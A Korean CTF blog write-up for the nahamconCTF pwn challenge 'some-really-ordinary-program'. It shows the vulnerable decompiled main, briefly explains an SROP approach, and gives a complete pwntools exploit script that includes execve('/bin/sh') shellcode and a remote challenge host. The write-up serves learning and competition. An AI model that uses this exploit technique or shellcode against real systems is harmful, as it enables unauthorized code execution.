Pwnstar
nahamconCTF some-really-ordinary-program 본문
hack the box에서 sick rop와 상당히 비슷한 문제여서 별 생각 안하고 빨리 풀 수 있었던 것 같다.
어셈블리어로 작성된 바이너리인데,
__int64 main()
{
size_t v0; // rax
char buf; // [rsp+0h] [rbp-1F4h]
write(::buf, 31uLL);
v0 = read(&buf, 800uLL);
return write(&buf, v0);
}
다행히
보호기법은 하나도 걸려있지 않고, seccomp도 없다. 다만 rax를 설정할 수 있는 가젯이 없어서 write함수의 return값을 이용해서 설정해줘야 한다. 설명할 것은 별로 없고, 처음 입력 때에 뒤에 SROP를 위한 값들을 미리 넣어주고, 두 번째 입력때에 dummy를 15개 넣어주면 srop가 가능하고 이걸로 고정 주소 부분에 shellcode를 입력해 놓고, 이 부분으로 rip를 돌리면 된다.
ex.py
from pwn import*
import argparse
syscall = 0x000000000040100e
ret = 0x0000000000401010
leaveret = 0x000000000040105b
main = 0x0000000000401062
read = 0x0000000000401006
shell = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
def exp():
payload = "A"*0x1FC
payload += p64(read)
payload += p64(syscall)
frame = SigreturnFrame(arch="amd64")
frame.rax = 0
frame.rdi = 0
frame.rsi = 0x402050
frame.rdx = 0x200
frame.rsp = 0x402050
frame.rip = syscall
payload += str(frame)
payload += p64(0x402050)
p.sendafter("\n", payload)
raw_input()
payload2 = "A"*15
p.send(payload2)
raw_input()
payload3 = p64(0x4020a0)
payload3 += p64(0)*9
payload3 += shell
p.sendline(payload3)
p.interactive()
if __name__ == '__main__' :
context.arch = 'amd64'
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
parser = argparse.ArgumentParser()
parser.add_argument('-r', '--remote', action='store_true')
args = parser.parse_args()
if args.remote :
p = remote("challenge.nahamcon.com", 32070)
else:
p = process(['./some-really-ordinary-program'])
bp = 0x000000000040104F
script='''
b*{}
'''.format(hex(bp))
gdb.attach(p, script)
exp()
'CTF' 카테고리의 다른 글
nahamconCTF Rock Paper Scissors (0) | 2021.03.15 |
---|---|
nahamcon CTF Sort It! (0) | 2021.03.15 |
zer0ptsCTF oneshot (0) | 2021.03.08 |
diceCTF flippidy (0) | 2021.02.08 |
CSAW CTF bard's fail (0) | 2020.09.18 |
Comments